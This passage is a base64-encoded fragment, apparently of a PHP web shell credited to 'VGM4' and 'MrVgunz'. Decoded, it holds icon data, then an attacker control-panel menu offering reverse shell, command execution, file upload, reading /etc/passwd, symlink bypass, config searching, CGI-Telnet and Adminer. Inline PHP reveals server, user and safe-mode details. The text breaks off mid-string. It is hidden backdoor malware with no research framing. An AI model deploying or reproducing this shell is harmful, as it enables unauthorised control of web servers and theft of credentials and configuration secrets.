ZjNXpqSWlvSjRPczBBeUxhMlF0RzBLd0N3VFJOVGwwWlJuSnhrQUJqVkttTUFMNGlJNlFuRVlnbHd2REFUSkFsWXd6QjgwZ2VWU3VXUTUzbjNuejE3OXRKaVJuL1pBRmk3ZHEyaTYvcnZjQngrRk5jUVJUdU9neVRMakxxcGJCUFN6YzNRcCtWd1kyY0pnTW5SVVpUemVSZ1ZBeHhQMmtGaG1xRStNOVRYRmFacGhyVmFMYlJ0TzNSZDkrdW5UcDM2dTZVbVRKYmtBbHUzYnQwcENNTGpZUkI4TEpWS2FKNXJDb0VmUlhScW9pd2pGazhnUVN4b2JrWWlrMlhUSGdVNjI3UmdHeGJNcWdIZnZid3NicHdsNmdCVUttVlVxMVU0amh2V2F1V1JWRmc3L2RqWG45ejl5Q04vV2xuc3lOZXZ1MkVBUHZHSlR3aG56cHo1SE0vemY2RW9TcUs1dVRtZFRxYzVpdmJuaDAvQjl6MFcrVGxPWUVKSWttUklTaVNKNmJQR0JGZGREVFlhVFgvVDliUllLaFlLVENPUVV0UTVFMnBnZ1BNZE82MUw0YTA1N1F0UC8yem8rYmNkZ0czYnRqMnZhZHJ1Tld2V3hCUkZZWHFmbEI4dGVtZytOd3dENVhLWmFmaTZnWFVLejJjd3pSajFCVkNsVWtHbFhJWnBtVXdoQ2x5QXJCb2dwM3BRT1EvRnFvdTJqSXhWR1NVVVEvL3JYMzN4dFcrODdRRHMyTEhqYTBFUVVENHZ6T1Z5Y2phYkZRa0lFaVNOZWIwNmZSdlZIWDFHMFp2QW9SR21LYysyTEdZd01jUHp5V2lhK1R4WWxvbGF6VUROdE5sMDJkcmFocnZiYXRhZG0xYW9qbW1WcW9iOXBjZS9mL3dGanVPV2xEUzlZUmNneEhmdDJuV3Y0emlmZGwzM1h0ZDFFMEhnQzJFUVNqVDlVMmRwZGlVMVdKZXJKR3pxbzAvWDA5ODA4dlFxQ3p4R3hzWlJMQllaZTBnWlVpTTUzZHJhaXJhMnRwbGN3aGU3RFdUaU1rNE5UeGJ0ME83NmsrK2RvbFRia3RxaUFDQUxlM3Q3eFZLcHBQRTh2MWtXeFR2V04zRi9MU3FxYXZuQW1URnIxbXFQS1RzS2ZvN0QzSVFPTXY1VEg3a0x1aWJqK1ovdXcyUytBTXIrcE5OcFpESVprTXh0RkZTeUFEeDVGdy9IOWZEbWhmeXh4NzUvZlBPU0xKKytlTEVBZ0lMaDBOQ1FjdUhDaFhpdFZzdmQxNTE2b2lXbGZsNVZGZW1Wd1RJR1hyOXdSZjhvdU5XWHhoKytaeXZXZHJTd0hJRmx1emh4dmd6VG5ic2d1bnlMMnp1RThMNE5JdmZHK2FtcWFUb1BQZjdEa3krL293RFVXV0NhNTVTSkNTTWVsOUg2dTEwdGUzUFpSTHJxQW51SEJaaHVGTkVwUHREQkZrWUNqMDBkS1RRbFZmQUNENEcrRndTNGZvQURyNDFpdkdoY2tTVk9xandldTFNTGhkRGxoaThXamoyNlRLTy9IRUpJMkxRSndzUUVaTXVDK3NtZWpvKzFwV0xQdERURll5VmZ4ZitlQzFBd29zME9HdWtWR1IxYjFyWWlwa29RQlo2Qkk0a0NWRmxDVEZPZ1NBSitjL3dzOXArOGdMSVJKVTNYTktsNGNFc01PZG5EbWVISnN1K0VIM3o4aGVPSGxtUDBsd01BY2lFNktQTEo4WGhjMzczOXB2SHRLM20vcGExVjhDQmh5dVpoaFJMU0NSMTZMQVlJTXBPNW9zQkZHU05SZ0taSTBHUUpJdTlEQ2wzQXMxQXVWeEY0Qm1LY0RhdGF4T216RTQ1cCtuL3c1UmVPZjMrNWpGOE9BT3IzNEI5ODhLRS92M0RoL0gyT1krLzQ5SHVzeXNhTmF4TStGNEtUTkVCVUlkQ3JvRUtRRlFnU3BjdWlISUVnOHBBRVFBaDk4SUVIMzdNQTE0Um5tL0R0R256SHdLV3hTUncrWjQ3OTV4RHVPdDdYOThhN0NvRFBQZldVV2psMi9GOU0wL3lVSkdzWUhUbVAyNXROZkdCTGU1aEpxQnduS3VDVkdEaFJBeThwRUNVVlBIMG1pa3dwOGl4VDdBTytoOUJ6RUxnV2ZOZEM0Smp3NmJCck9QYjZSYnd3R0E2NW5GcnA2T2pZczJmUEhoSkFTNXIvRnkyRjU2RFA3ZDY5KzhGQ29mUjBaM2YzVGJTS0d6eHg5SXdLYyswRDYwSnMyYm9KZ2V0QWtHUGdGUldDcURJUU9KWU5wa1VqZVE4bEJ3T0VnWWVBQVdCSElFd0RVSzFVY2Z4c0hpKytMdVRiMjFkblhjY2s5Zmw4b3J2ckM4ODk5UlNsd3BiVUZqME4wbE1mZSt3cjdmMzkvL05jVy92cTM2YjVtOUxmcncwT1RoVUxVN243YjNYUTIzVUxVbkVaNEFRSWNtUThMOHJnZUlrdGNXbkZ5QUNnN0kvdklmQ2RDQVFuWWtIb21oZ2Ntc0RQM3ZBd1lpcE9aOWNXV1pJRW5EaDJiRGlUU1QzNTBrc3YvZHRTbWJBa0FIcDZlbnBUNmV4TExhM3Q3WUxBbzdrcGgzUG56K1BpK1dHc2lqbjQ2SG9SM1Z1MndEV0s0QVNKR2M4WXdGT0tmQm9BbGg0bkJ2Z0lmUmVCWjBlSFl5TmZzWEhpN0JUKzlZUVg1bkxOd2NaTm5RSWxURWcxWGhvNTkwcFB6OTJmZSthWnZ4OVpDZ1VXRFFBSm9iTm56ei9hMHRiMlRWMVBzUDE5QW9BMC91RGdNU1E0R3grN3hRNjJidHZLSzRvSzF5aXh0VDR2U2dBdlJwS1pHTURTZ3BFTHpMREF0UUV4aG1QSFhzTVBUb1J3UWhrZE45Mk0xUjBkbUppY1loc280Mk1qSTZWaWZ2ZFNOMG9XRFFDaGZ1ZWRkLzZncWFYOVlWb01FUUMwSWxRVUdXK2NQajBSbWxQTkQ2eTFIVm1WNWMxYmVpQklFZ09CUmpwaVFCMkFhSU9FTVNEd0dCaFNMSU9xYWVOdy94SC91eWNFUWROaTJMU3BtNjA4Q1FDU3lMVmFKUnkvZE9tSk5XczZ2cjFuejU0b29iQ0l0aVFBdG0vZi9qNVpWcjdUM0xyaVprcGZrNkxMWmpNWUhiMkU0c1M1WHo2ODNycXpaanRLT3BuQXVrMmRrSlVZODNQUHFyR0lQNzFIUktzanhnaEIxaUdvT2xzbG5oNDhqa0xSQ0g0MEtQS0pkQTd2V2JjZXR1MndCUk1CUU91SnlmR1JINzc2NnF1ZldZVGRNNWNzQ1FDNnk0NGRPN2FKb3ZURFhGUHJPbEdTa2Mya1dTcnJqZE9ESTcrMzNsb0IzK1JvbWFzcENtNWR0d0hKZEM2aVBqR0FVVCtJQWlMdEM0UUJTdmxKdlBuR0tWaVdEWkVYOE9KcERlbVdtOWoyZWo1ZllFdG1TcnBNakkyKzZUajI1dzhlUFBpcmR4UUFlbmhQVDg5R1dWRmZiR3B1NjZLQ2huUXFpZUZ6dytHRzJCUjNXNU1GdzNJZzhORWVBZEc1clgwVnRIZ0NvcXd5RnZpMlJaVEd4T2hGMkpZQng0c1k3WE15WG54ZHd5M3YyY1N1elJlSzhGd0hVNU5qcHp6UGZmakFnUU5MbHNSTFprQWQvVHZ1MlBuUG1WenpJN0tzTU1ucnVBN01xWE40Y0wwZGlaeUdZYUlGME5VYUF5UUlXRHE4YjB6R2tOT0MxYXR2UXJFVTVRVW5KeTRkZDJ6cm9mNysvc0dsalB4eUNTRjJuOTdlM201RlVYN1IxTkxlUk8vcnE3OVNmaHc3bWtxNE5la3d2VTg3UWk2bHVvU3JBeUJMQWl6SGcrV0crSS9US3ZUbW15QkxNbXFHQVllbXhzbUpueHRHOVZPTDJRV2FEN0JGTStDT08rN3A0WVRnQ3dJdmZnUmgyQ1pLc3BaTXBXZVdzcklrTWhadzFWRThzTjRGendGTjZUZzh6MGZOaXZLRmpZMG9ub2dwYklyTFZ3eWNuT0J4dUpoRkt0ZkNza1QxVE5IaytDaEVTYjdrKy82ZzY3dlBWa3VsSDU4OGVmSnl2YzBOMHVKR0FlQjdlbnEyNm5yaW81SXM3NHJIazkyQ0tDUW1KOGFnYVRvVVZadk9CQVh3WEJlcXFzRXNUK0tlRlZXc1RnWklKVFFrZFJWaEVNSjJQWGgrUkhWUjVDR0xVU0NzR0RhS1ZRdDdCa1Z3eVhZMitwUUZva2JSdjF3cU11RWswdDVnaUpMajJDY2QyM2syQ055WER4NDhlTU1iSkFzQ29MdTdPeE9QeHg4U1JmR3pXaXkrSnBGTXJ5QnhRNDFHTWo4MWdYS3BnR1E2eStoUERrOTBwWGhBTTRKa2plUGo2eDJvc29oY1NtZTVnTG1ON3VONkFRemJ4ZkVSRzc4ZWpTT1diR0xKVVRLV2RBT2IvaXdUcGxsRFMwczcyM1dtOVlScDFOeHl1VEJrVzNhLzQxamZQblRvMEQ2YVZCWkNobXNDUUpVWXNpdy9Jc3Z5QThsVWRxMGVUeWo4OUpSVnZ6bmwrb3FGS1JiRmlhYkpSSnAxbUF3bkZ5Q1I1TlNLdUh1bGhjNW1EcG9xUTFmSm9NdVBKbStnNmMxMmZRYkNkd2Q4T0FxbHkvZ1pJR25kUlBjdkYvTklwakxJNXBwbjNZUDZRNkNYUzhXeGFxM3ltbXRiMzlKMS9hZDc5KzY5NW9KcFhnQkk1ZzRQbi8raXFtbGZUbWV5YXpWTjU2bkRjM2Q5MmR3ZEJCaTdOQUxQbzZLRkFMN25RWThuV2RMRDkyaC9QOUw4c2pPRmh6ZUQ3WnNsNHdyTEF0VVpST2t3dGlNY2hqaDJLY0Fyd3pJMFBjbkVEcmtBQVVFdVZhNFVHY04wUFlGMEpqZXI2S0p4dEtrUGxVcXBWQ3JtKzAzVGVQUmFNOFlWQU96Y3VUTUw0QitUcWN5dVpDcVRpdXA2b2pabjE1dlJqNmc3ZHVraXkvcGVydnR4b1NnYUJTdTI0Q1VRREtQcXZiZkRGYnViL0VDUkJENm15Y3ovS1E1UTFHZDFBaER4ekcvZ3FiRUViVEt3ZXdxaWhNRDNVS3VXSVlnaWN3VmlXRnZiU2diTXRacnJPSmdZSHoxaldjYmY3TisvLzducnpnTHZmLy83UmR0MmY1VE5OWDljMVdJc0tzMDJlalplOWU5b2M2TmF2YndiUk1ZUVhVa2VSNXNtRXFPNDRwZngrN2NKa0RpZkZUeVFBWUZIbXlBMlk5ZWhNUUg3UjJURVlub0VLTUNFajIyYkVJVEliYUtkSkJGdEsxYk95OGpMZ3pWZGp4U0dCTUpvcFZ6ODRvRURCMzR5RjRSWkZ1M1lzZVArUkRMOW5XUXFrNzU4NHVWVDVtTkEvVHh5QmFOV1pTVXU5VkpZa3F4a2hhcnBrS2lVeGFqaXJnNGZPMVlFN0QxVmpoaUdHZnArd05rZXpHOGY5SjE0cWlsRmF3cHlxYWlzMW9zQ0s5VWNrU3ZKQ3VLSkpOczRtZDNtSDV5Nm0xNjhlSzYvV2k2OTkralJvN1hHNjJaZHRYUG5YYTgwTmJkK2FGYWdhemlEQ3A5bXRYa2lDQVVpMjdaZ21WRnhOKzBHVTdXSEZvc3pGM0d0eXZpanR3dHhoUTlWV1JLOG11bXdncUpmRCtQTnd4TnlSenllRkYxaWhWbGpDU01hYldya1Jxb1dnNjdITVRjUVg4MDlHL3RhTGhmTi9PVFlnNGNPSGZycHZBRDA5dmFtWkVYdHp6VzEzakw3aEZrSXpMRi8va21FMk1BWVlWUVlHOGdkeUk4VkxVWjdnWDVYVTNCMjE5cndGb3FzNUJvMUI4NnpoeVdaZEFRcm96V29GaWphWGFhbWFocG8ycTFQdmZQNy9kVVpRT2V6Z3N2eFM5L2F2Ly9WUDc0YUFIZnI4ZVJQNG9tNVZRd0xjNEhHbSthbkpsbUZGMlY5YUkrUU5rQ28ySW5WRHBKaEpBdFpmQWxSS3BXdkdzZUlPUlJJTStuYzlKYjdOV2J0SzhnNSt3T3FTUndidlRDd2YvKyszc1kwMnN4WnQ5OSsrNS9GRStsdjBINysxV2krRUJlZ2F5Y254ckdpZlJWaVdnd2V4WUY1R3oxNllZbGR5akpGZ0YwZGdPdjFqYjZmbWh3N1g2MldkeDQ1Y21SbVUzWG1qdHUzNzNndWtjcDh0ckdna1QyMDBlK3ZnM0xkem54K0VoMnJiMGFwV0dDQmpCUWJLNU9iVlRCZEw1bXQxdzVPWjRiWXg1Y3JTZW1kSG85ZkY0QzU5Vjd6QmV4eXFWQXdhcFVQOWZYMTlkZjcyZ0RBOXA4bEVwbGQwZloyUTd2QklFaFhrbDd2NkZpRG9hSFR1UGZlZS9IeXl5K2pyYTM5cWxTLzNoZjFoZE8xR0hCbGZMNHlZQnRHMVNvWEMvY05EQXo4OXhVQTlHN2JkaWlSVFBkZWdlUWlHRUNhZ0Z6Z3phRXpNN2F0V3RYQjBsNk5QNVM0bnVIMTd4Y0N3RUpjd0hHc3NGSXVQblRvMENGS3AwZXNxdi9SdTIzYm9CNVBicml5VXpjZUJFa1BOTGUwUlRVK3RzbEthREtaSEpPNlJtM1dOTHdnREJZQ3dFSVlRTnFpWE16L1VYOS8vejlkQVVCUFQrL1JtSjdvdnFKSGkzQUIwZ0RwVEphVnc5RFVWYThkcG1JblNuamVhRnNJQUF0aEFHbVNTcVh3MWI2K1BpcXZtODJBTFZ1Mi9KY1dpOTgzVi9BdkpnaVNHQ0xCUWtsT2FpU0ZxZEVJTEtZdEJJQ0ZCRUhTSnJWSzhTdjkvZjFQTndLUUFaRHEzbmIzNHdxY0wvR0NvRVhCWm5yb0Y4RUFadlMwZ2x1TXdYT3ZXUkFBQzlBQmdlK0ZkaUQ5WmQrK1g5SVdPLzA4dDBDWHJRT1FBSkJ1YjIvZkhZdnBHMVZWV1NrSVlvYmplVm5naFJqSDgxcFUvejhyYkZ5ejFIaWhFZnQ2MUcwRVl5RTZJQUtMVGFsaDRIczF6L1BNSUFnY3ozUHpsbVVOajQ2T1BsT3IxU1lwK1FUZzFGeGxRZStKRWMyaUtMYm91cjVCMDdSMWlxTGNyQ2hhc3lqeUdWRVVrL1E3WDFxWDhod25jcHlnY2p5bmNMUUQyc2lXaG1YMDBnTnJwQXRtQlRveU1BanNJQWlzTUF6Y0lBajlNUFFkTHdoS3Z1c1dMY3U2YUZuV2tHbWFyNVhMNWRNQUpnQ01UeHMrMDZWcmFNdFozYWFsVjJxYUthUktVcnF1cjlRMHJaM24rV1pCRUZLU0pPbWlLTWFqMy9DSWNVSGdZenpQcXh6SHlWeVVWSmplQzR0K1RFSmJJek5Mdk9saG8zM2k2YWV5YXFubzU4U2hFNFlCamFJVkJMN2hlVUhOOHh3YTJXb1FCQVhIY2NaczJ4Nmh3L004b2pXTkxCMzAyNEhySmtzWENzQkNYSm1XYlVyRFFhRFJlOUxXQkFDdGJPaVlCb05xSkVScE90dExPeUYwRUFEMW8vNmVqS0FDNVBtT2hmVHJtdWY4SHdTbjhOZGRZSkpyQUFBQUFFbEZUa1N1UW1DQyIvPjxzcGFuPlJldmVyc2UgU2hlbGw8L3NwYW4+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9InRvZ2dsZSIgb25jbGljaz0icnVuX2NvbW1hbmQoKTsiPjxpIGNsYXNzPSJmYXMgZmEtdGVybWluYWwiPjwvaT48c3Bhbj5SdW4gQ29tbWFuZDwvc3Bhbj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJmaWxlX3VwbG9hZCgpOyI+PGkgY2xhc3M9ImZhcyBmYS1maWxlLXVwbG9hZCI+PC9pPjxzcGFuPkZpbGUgVXBsb2FkPC9zcGFuPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJ0b2dnbGUiIG9uY2xpY2s9ImNyZWF0ZV9maWxlKCk7Ij48aSBjbGFzcz0iZmFzIGZhLWZpbGUiPjwvaT48c3Bhbj5DcmVhdGUgRmlsZTwvc3Bhbj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJjcmVhdGVfZGlyKCk7Ij48aSBjbGFzcz0iZmFzIGZhLWZvbGRlci1wbHVzIj48L2k+PHNwYW4+Q3JlYXRlIERpcmVjdG9yeTwvc3Bhbj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJkb3dubG9hZF9mb2xkZXIoKTsiPjxpIGNsYXNzPSJmYXMgZmEtZmlsZS1hcmNoaXZlIj48L2k+PHNwYW4+RG93bmxvYWQgRm9sZGVyPC9zcGFuPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJ0b2dnbGUiIG9uY2xpY2s9InNlYXJjaF9kaXNrKCk7Ij48aSBjbGFzcz0iZmFzIGZhLXNlYXJjaCI+PC9pPjxzcGFuPlNlYXJjaCBEaXNrPC9zcGFuPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJ0b2dnbGUiIG9uY2xpY2s9InJlYWRfcGFzc3dkKCk7Ij48aT48aW1nIHNyYz0iZGF0YTogaW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFva2xFUVZRNGplMlFRUTNDVUJCRUh6aW9oVnFvaFZyQVFwR0FCVFFnQVN4VUFwVUFFa0RDNDhDUUxJUVFBamZDSkpQL2QzZDJzaG40NDJ2TTFFOTNCMkJFUlczVkpyelZ2T2gxWGpHZ0RpbE80U0x2U3Qycmg5SmJGSjNxTUM4bkxZRUpXQU1qMEFFdDBBQTljTXhzaWhhQWFuQU9pYWhQZmN4LzkwUjNaN0NOY0pNTG1oaU51V1RLckkvMmlwSkJWd0tyd2RZQWE3Q3RDZ25tOExEOE5uOEFGNWZ4NkZZbDdFTW5BQUFBQUVsRlRrU3VRbUNDIj48L2k+PHNwYW4+UmVhZCAvZXRjL3Bhc3N3ZDwvc3Bhbj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJzeW1saW5rKCk7Ij48aT48aW1nIHN0eWxlPSJ3aWR0aDoxNnB4O2hlaWdodDoxNnB4OyIgc3JjPSJkYXRhOiBpbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFDQUFBQUFnQ0FZQUFBQnplbnIwQUFBQkowbEVRVlJZaGUyVDBXM0RJQkNHUDNjRE9vSTdnanRDVi9BSzdnanhDTTRJN1FqcENQRUl5UWhaSVJuaDcwT082RVNnanBvK1JDcWZoQTZPQS80N0FDcVZTcVZTZVNRa0lXbVF0SlcwazdTUkZDUjFOdDVKYWkwTzUvUHpROUlQa2lhM1h5dXBLT0JOWjQ2MlFHWXhVWkswY2tJbDZXQ0hsRGhreHBjem54SU5uZGtaZUFkRzZ3ZXpBSVBaM3V4bnNzY0lQQU5menZjQ3ZBSW5vSFZycnlvUVhPWXgrOEdWUEdZVHN6L2FHbCtCWUxGVFVzRjRaWkowRVpCV0lBQnJsMzBMZkxqS3hLd21OejVsczdtUlZFQVBiRGlYT1dUaW80QTRsNWIvYmdGcjI3UURWdVliZ2IzMTkwN0U3UHgvZzd1cjRPNHliZkVkOUlrL3R5YTNSOUFQMzNDcCthOTNTM3l4UmRJcldLTDA5WDVONHdmRjBsd0xtTG56OVRkTnN4eFVxVlQrQmQ5ZFV1TnBkMXZhNVFBQUFBQkpSVTVFcmtKZ2dnPT0iPjwvaT48c3Bhbj5TWU0gQnlwYXNzPC9zcGFuPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJ0b2dnbGUiIG9uY2xpY2s9ImNvbmZpZ19zZWFyY2hlcigpOyI+PGk+PGltZyBzdHlsZT0id2lkdGg6MTZweDtoZWlnaHQ6MTZweDsiIHNyYz0iZGF0YTogaW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQ0FBQUFBZ0NBWUFBQUJ6ZW5yMEFBQUJJa2xFUVZSWWhlMVYydzJETUF5OFZsMGdLN0FDSzlBUm1JVVYyaEZZZ1JWZ0JEcENHYUVkNGZwUnU3SUNoRUQ1SXlkRk1ZNlRPK3c4Z0lTRWhJU2o0elEzUURKMmpSSkFCdUFlSkRyTlVzMExpR2c5ditpWFlsY2pncndVOHBmWW13U2NJN1JVQUhwcE5RQm4vSXBDZWdlZ2tkakd6SzFYL1Qzd3k4Q05ZL1FrM1lUUGxtUTBaNHNBUzFLUXpFaTJRbEthRWlpNUxZbkcvL2JJSE04bG9LRXc5Z1BBRzhEVitFb3ZQcGQrQU5DSjNSbi9hZ0VQWXpzUlVJbmRUY1FQSmxhUmhjaURrTFMya3NLblNlZEwwdXVYd01tWUg3OTVEK2lpclZub1NUTDNhbTd2Z0Z4aVZLak8zU3pBQ25FY24yL24yYm81MWErbnFQbFhRR3pURWpSQ3J0L1ZNdU0rQW5KRHFxZ1p1QW4zZUl5bW9FZDBnSnltMVk5UlFrTENZZkFCbkRSN2plNUsrM1lBQUFBQVNVVk9SSzVDWUlJPSI+PC9pPjxzcGFuPkNvbmZpZyBTZWFyY2hlcjwvc3Bhbj48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJjZ2lfdGVsbmV0KCk7Ij48aT48aW1nIHN0eWxlPSJ3aWR0aDoxNnB4O2hlaWdodDoxNnB4OyIgc3JjPSJkYXRhOiBpbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFDZ0FBQUFvQ0FZQUFBQ00vcmh0QUFBQ2MwbEVRVlJZaGUyWDNYSHFNQkNGUDVnMDRKUmdTdUNXUUVvZ0paZ1NvQVQ4bnBkUUFwUUFKZUFTNGhKd0NjbkQ3bzdXaGdFWjI5d1hueG1OL0tPZm85MDkwZ3BHakJoeEY1UFYxOWVyNTV3REpWREZOSjRPeStVS2ErQU0vQUJwVElkWEV6UWtzUTNmaG1SeEF6bFFJTzR0WXpxMHNXQUtmQU1YTFhza25qeldpUHN1d0ZiZmoxb0FNdjIyalowMDFvSXBFanZlTlV0Z0FYd2dWakZDbm13VGlmYUpScXdGMXpwNEJYd3FxVXEvWmNnQ2pOQkovNitJVk9vOXRMRWd3RUVMd0x2Nzc2MnlJc1NYSi80VTJxcTRzMFhhSXBhZ1dXU0p1RFZCUkhKRUxPU0ptOFhtaVB0ZlFuQ25kVXBRc1ltazBITFNOaG53eTdXb0JpVllJSUh2OTY0U0VZd1I4OC9vYy80cWdqYmhESmhvbVJFRUErTFNIQkhQQkZtUW9kQTZkLzJqME9kSnNrZGNXZ0Fid2hia0NiWkduMmZ4UnVzNUloNGpYTkhCMVgxYWNJZkVaVVlRUjRtUWl6cDNiNkh2Wk9GRVhTaWQ4Yi9TcldnOGE4R0VrTWxZK2pRSXBvUjBxTTJ1YjBJNGNwMXlkVVhteHVhTmNORDNHanNkVUV2SmZBd2FjLzkrSmh4Yjk3SVNiOUVNMldJdStyNXN0RjNvLzE4a3VmMG1xRDZqN3Ntamo4R1VrRlkxazgrNUs1ODNDUHBWKzlScm9XV0diRFZMSmVmbnpMVE5QeDNIWDZZVzNvSTc1SGp5T2R3R09aYU0xSkxITVhkUVFuNGhac1d0YS9PdTdTcEg5RUJJVEFBK1BNRVNpY1BhQ3JnVzBLT1UzVGJzQXlHdXJVL3E2ajNpWGo5dVNYMVRQN1haWm15eXZyZVVvbEhYNEFuNjQ4bVFJOFRtMU5VZWRlbStnVkw3SG5Uc1J3bEZNblUvMW9peXpEMGc3ajFyMlNLeDlQUzVTb2l2TGFMZ0g0SWdiVncvL21XS1hIS2E3RmVFRE1SRVlTTHFnaHdSbmdraklkd0NqWmhaOStYM254RWpSZ3lCUDN4Y21iZ0lWaFJtQUFBQUFFbEZUa1N1UW1DQyI+PC9pPjxzcGFuPkNHSS1UZWxuZXQ8L3NwYW4+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9InRvZ2dsZSIgb25jbGljaz0iYWRtaW5lcigpOyI+PGk+PGltZyBzdHlsZT0id2lkdGg6MTZweDtoZWlnaHQ6MTZweDsiIHNyYz0iZGF0YTogaW1hZ2UveC1pY29uO2Jhc2U2NCxBQUFCQUFFQUVCQVFBQUVBQkFBb0FRQUFGZ0FBQUNnQUFBQVFBQUFBSUFBQUFBRUFCQUFBQUFBQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBLy8vL0FBQUEvd0JoVGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFUkVSQUFBQUFBRVRNekVRQUFBQUFURVJFeEFBQUFBQk1SRVRFQUFBQUFFeEVSTVFBQUFBQVRFUkV4QUFBQUFCTVJFVEVBQUFBQUV6TXpNUkVSRVFBVEVSRXhFaEVoQUJFek14RWhFUkVBQVJFUkVoRVJJUkFBQUFBUklSRVNFQUFBQUFFU0VpRVFBQUFBQUJFUkVRQUFBQUFBQUFBQUQvLzlVQXdQL1ZBSUIvQUFDQWYvQUFnSCtrQUlCL2dBQ0Fmd0FBZ0g4QUFJQUJBQUNBQWY4QWdBSC9BTUFBL3dEK0FQOEEvd0FJQWYrQjFRRC8vOVVBIj48L2k+PHNwYW4+QWRtaW5lcjwvc3Bhbj48L2xpPg0KICAgICAgICAgICAgPC91bD4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBjbGFzcz0icG9wdXAtYm94IGFsZXJ0Ij4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9InBvcHVwLWJveCBzdWNjZXNzIj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBjbGFzcz0idGl0bGUiPg0KDQogICAgICAgICAgICA8aDM+PC9oMz4NCiAgICAgICAgICAgIDxoND48YSBocmVmPSJodHRwOi8vdmdtNHRlYW0ueHl6Ij5WR000IFdlYnNpdGU8cD4mbmJzcDs8L3A+PC9hPjwvaDQ+DQogICAgICAgICAgICA8aDQ+PGEgaHJlZj0iaHR0cDovL21ydmd1bnoueHl6Ij5NclZHdW56ICY8L2E+PGEgaHJlZj0iIyI+IE1ySDR0ZWQ8cD4mbmJzcDs8L3A+PC9hPjwvaDQ+DQogICAgICAgICAgICA8dWw+DQogICAgICAgICAgICAgICAgPGxpPjxzcGFuPjwvc3Bhbj4gPD9waHAgcHJpbnQgJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiAnIHwgUEhQIFZlcnNpb246ICcuQHBocHZlcnNpb24oKTs/PjwvbGk+DQogICAgICAgICAgICAgICAgPGxpPjxzcGFuPjwvc3Bhbj4gPD9waHAgcHJpbnQgQHBocF91bmFtZSgpID8gQHBocF91bmFtZSgpIDogJ1VuYWJsZSB0byBnZXQgdGhhdCBpbmZvcm1hdGlvbic7Pz48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT48c3Bhbj48L3NwYW4+IHVpZD08P3BocCBwcmludCBAZ2V0bXl1aWQoKTs/Pig8P3BocCBwcmludCBAZ2V0X2N1cnJlbnRfdXNlcigpOz8+KSBnaWQ9PD9waHAgcHJpbnQgQGdldG15Z2lkKCk7Pz4oPD9waHAgJGdyb3VwID0gQHBvc2l4X2dldGdyZ2lkKEBnZXRteWdpZCgpKTsgcHJpbnQgJGdyb3VwWyduYW1lJ10gPyAkZ3JvdXBbJ25hbWUnXSA6IEBnZXRfY3VycmVudF91c2VyKCk7Pz4pPC9saT4NCiAgICAgICAgICAgICAgICA8bGk+PHNwYW4+PC9zcGFuPiA8P3BocCAkdXNlcl9jb3VudCA9ICRoZWxwZXJzLT5nZXRfdXNlcnNfY291bnQoKTsgaWYoJHVzZXJfY291bnQgIT0gJ1dpbmRvd3Mgbm90IHN1cHBvcnRlZCcpeyBwcmludCAnPGZvbnQgY2xhc3M9InRvZ2dsZSIgc3R5bGU9ImN1cnNvcjpwb2ludGVyO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7Y29sb3I6I2ZmMDAwMDtmb250LXdlaWdodDpib2xkIiBvbmNsaWNrPSJ1c2VyX2xpc3QoKTsiPicuJHVzZXJfY291bnQuJzwvZm9udD4nO31lbHNle3ByaW50ICR1c2VyX2NvdW50O30gPz48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT48c3Bhbj48L3NwYW4+IDw/cGhwICRncm91cF9jb3VudD0gJGhlbHBlcnMtPmdldF9ncm91cHNfY291bnQoKTsgaWYoJGdyb3VwX2NvdW50ICE9ICdXaW5kb3dzIG5vdCBzdXBwb3J0ZWQnKXtwcmludCAnPGZvbnQgY2xhc3M9InRvZ2dsZSIgc3R5bGU9ImN1cnNvcjpwb2ludGVyO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7Y29sb3I6I2ZmMDAwMDtmb250LXdlaWdodDpib2xkIiBvbmNsaWNrPSJncm91cF9saXN0KCk7Ij4nLiRncm91cF9jb3VudC4nPC9mb250Pic7fWVsc2V7cHJpbnQgJGdyb3VwX2NvdW50O30gPz48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT48c3Bhbj48L3NwYW4+IDw/cGhwIGlmKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIil7IHByaW50ICI8Zm9udCBzdHlsZT0nY29sb3I6cmVkJz5PTiAoc2VjdXJlKTwvZm9udD4iOyB9ZWxzZSB7IHByaW50ICI8c3Ryb25nPjxmb250IHN0eWxlPSd